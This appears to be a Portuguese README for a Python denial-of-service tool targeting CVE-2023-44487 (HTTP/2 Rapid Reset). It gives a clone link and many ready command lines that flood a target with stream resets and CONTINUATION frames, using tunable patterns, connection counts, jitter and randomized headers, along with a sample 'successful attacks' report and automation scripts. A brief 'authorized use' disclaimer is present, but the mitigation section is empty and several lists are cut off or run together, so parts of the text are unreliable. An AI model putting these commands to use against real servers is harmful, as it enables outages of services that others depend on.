
Ferramenta de teste baseada em Python para CVE-2023-44487 (HTTP/2 Rapid Reset) com múltiplos padrões de ataque, configuração granular e monitoramento para avaliações de segurança autorizadas.
Uma ferramenta de teste abrangente em Python para CVE-2023-44487, a vulnerabilidade de Reset Rápido HTTP/2. Esta versão aprimorada fornece controle granular sobre parâmetros de teste, múltiplos padrões de ataque e recursos avançados de monitoramento.
Esta ferramenta é apenas para fins educacionais e testes autorizados!
CVE-2023-44487, também conhecida como "Reset Rápido HTTP/2", é uma vulnerabilidade crítica no protocolo HTTP/2 que permite que atacantes:
Pontuação CVSS: 7.5 (Alta)
Impacto: Negação de Serviço, Exaustão de Recursos
git clone https://github.com/madhusudhan-in/CVE_2023_44487-Rapid_Reset.git
cd CVE_2023_44487-Rapid_Reset
chmod +x rapid_reset_test.py
python3 --version # Deve ser 3.7+
python3 rapid_reset_test.py https://servidor-alvo.com
python3 rapid_reset_test.py https://alvo.com \
--connections 50 \
--requests 1000 \
--delay 0 \
--pattern rapid_reset \
--track-latency \
--output json
python3 rapid_reset_test.py https://alvo.com \
--pattern burst_reset \
--burst-size 5 \
--burst-delay 2.0 \
--custom-headers "User-Agent: Mozilla/5.0 (legitbot)" "Authorization: Bearer token123" \
--jitter 0.3
python3 rapid_reset_test.py https://alvo.com \
--window-size 32768 \
--frame-size 32768 \
--header-table-size 8192 \
--enable-push \
--priority-frames \
--randomize-streams
python3 rapid_reset_test.py https://alvo.com \
--connections 10 \
--requests 200 \
--pattern mixed_pattern \
--track-latency \
--track-responses \
--monitor-memory \
--verbose \
--debug \
--log-file attack.log
python3 rapid_reset_test.py https://alvo.com \
--pattern continuation_flood \
--requests 50 \
--random-headers \
--header-count 20
| Opção | Descrição | Padrão |
|---|---|---|
-c, --connections N | Número de conexões concorrentes | 1 |
--connection-timeout SEC | Timeout de conexão em segundos | 10 |
--read-timeout SEC | Timeout de leitura para respostas | 5 |
--connection-delay SEC | Atraso entre conexões | 0.0 |
| Opção | Descrição | Padrão |
|---|---|---|
-r, --requests N | Solicitações por conexão | 100 |
--delay SEC | Atraso entre HEADERS e RST_STREAM | 0.001 |
--request-delay SEC | Atraso entre solicitações | 0.0 |
--jitter FACTOR | Fator de randomização de temporização | 0.0 |
| Opção | Descrição | Padrão |
|---|---|---|
--pattern TYPE | Padrão de ataque a usar | rapid_reset |
--burst-size N | Solicitações por rajada | 10 |
--burst-delay SEC | Atraso entre rajadas | 0.1 |
Padrões Disponíveis:
rapid_reset - Ataque padrão de reset rápidoburst_reset - Ataques baseados em rajadasgradual_reset - Taxa aumentando gradualmenterandom_reset - Temporização aleatóriacontinuation_flood - Inundação de quadros CONTINUATIONmixed_pattern - Mistura de padrões| Opção | Descrição | Padrão |
|---|---|---|
--window-size BYTES | Tamanho inicial da janela HTTP/2 | 65535 |
--frame-size BYTES | Tamanho máximo do quadro | 16384 |
--header-table-size BYTES | Tamanho da tabela de cabeçalhos HPACK | 4096 |
--enable-push | Habilitar push do servidor HTTP/2 | False |
--rst-error-code CODE | Código de erro RST_STREAM | 8 |
| Opção | Descrição | Padrão |
|---|---|---|
--custom-headers HEADER | Cabeçalhos personalizados (Nome: Valor) | None |
--random-headers | Gerar cabeçalhos aleatórios | False |
--header-count N | Número de cabeçalhos aleatórios | 5 |
| Opção | Descrição | Padrão |
|---|---|---|
--randomize-streams | Usar IDs de fluxo aleatórios | False |
--priority-frames | Incluir informações de prioridade | False |
--continue-on-error | Continuar após erros | True |
--max-errors N | Erros máximos antes de parar | 10 |
| Opção | Descrição | Padrão |
|---|---|---|
--track-latency | Rastrear latência de solicitações | False |
--track-responses | Rastrear respostas do servidor | False |
--monitor-memory | Monitorar uso de memória | False |
| Opção | Descrição | Padrão |
|---|---|---|
--output FORMAT | Formato de saída | console |
--output-file FILE | Nome do arquivo de saída | gerado automaticamente |
--verbose, -v | Saída detalhada | False |
--debug | Registro de depuração | False |
--log-file FILE | Registrar em arquivo | None |
Formatos de Saída Disponíveis:
console - Saída de console legível por humanosjson - JSON legível por máquinacsv - CSV compatível com planilhasxml - Formato XML estruturadoA ferramenta fornece resultados abrangentes incluindo:
{
"target_url": "https://example.com",
"test_config": {
"attack_pattern": "rapid_reset",
"max_connections": 10,
"requests_per_connection": 100,
"delay_between_headers_rst": 0.001
},
"test_summary": {
"duration": 2.34,
"successful_connections": 10,
"total_successful_attacks": 950,
"success_rate": 95.0,
"requests_per_second": 405.98,
"total_bytes_sent": 125600,
"average_latency": 0.0024
},
"connection_stats": [...],
"errors": [...],
"timestamp": 1640995200.0
}
A ferramenta avalia automaticamente a vulnerabilidade:
Se o seu servidor for encontrado vulnerável, implemente estas mitigações:
import subprocess
import json
# Executar teste automatizado
result = subprocess.run([
'python3', 'rapid_reset_test.py',
'https://alvo.com',
'--pattern', 'mixed_pattern',
'--output', 'json',
'--output-file', 'results.json'
])
# Analisar resultados
with open('results.json') as f:
data = json.load(f)
vulnerability_score = data['test_summary']['success_rate']
if vulnerability_score > 80:
print(f"ALTO RISCO: {vulnerability_score}% taxa de sucesso")
#!/bin/bash
# Trabalho cron: 0 2 * * * /caminho/para/monitor.sh
python3 rapid_reset_test.py https://meuservidor.com \
--pattern rapid_reset \
--connections 5 \
--requests 50 \
--output json \
--output-file /var/log/rapid-reset-$(date +%Y%m%d).json
# Alertar se vulnerabilidade for detectada
if [ $(jq '.test_summary.success_rate' /var/log/rapid-reset-$(date +%Y%m%d).json) -gt 80 ]; then
echo "ALERTA: Servidor vulnerável a ataque de reset rápido" | mail -s "Alerta de Segurança" [email protected]
fi
import pandas as pd
import matplotlib.pyplot as plt
# Carregar e analisar resultados CSV
df = pd.read_csv('results.csv')
# Visualizar sucesso do ataque por conexão
plt.figure(figsize=(12, 6))
plt.subplot(1, 2, 1)
df.plot(x='connection_id', y='successful_attacks', kind='bar')
plt.title('Sucesso do Ataque por Conexão')
plt.subplot(1, 2, 2)
df['success_rate'] = (df['successful_attacks'] / df['total_attacks']) * 100
plt.hist(df['success_rate'], bins=20)
plt.title('Distribuição da Taxa de Sucesso')
plt.show()
Conexão recusada:
Erros SSL/TLS:
--debug para informações SSL detalhadasBaixas taxas de sucesso:
Problemas de desempenho:
--debug e --log-file para análise--verbose --debug --log-file debug.log--connections 1 --requests 10--track-responses--track-latencyEsta ferramenta é fornecida sob a Licença MIT. Consulte o arquivo LICENSE para detalhes.
Esta ferramenta é destinada a profissionais de cibersegurança, pesquisadores e administradores de sistemas para testar seus próprios sistemas ou sistemas para os quais tenham permissão explícita para testar. Os autores não são responsáveis por qualquer uso indevido desta ferramenta.
Pontos Legais Principais:
Lembre-se: Com grandes poderes vêm grandes responsabilidades. Use esta ferramenta de forma ética e legal.
A versão aprimorada mantém compatibilidade retroativa com a versão básica. Todas as opções de linha de comando existentes continuam funcionando, com novas opções fornecendo capacidades adicionais.
Para usuários que estão atualizando da versão básica:
# O uso básico antigo ainda funciona
python3 rapid_reset_test.py https://example.com --connections 5 --requests 100
# Novo uso aprimorado com opções adicionais
python3 rapid_reset_test.py https://example.com \
--connections 5 --requests 100 \
--pattern burst_reset --track-latency --output json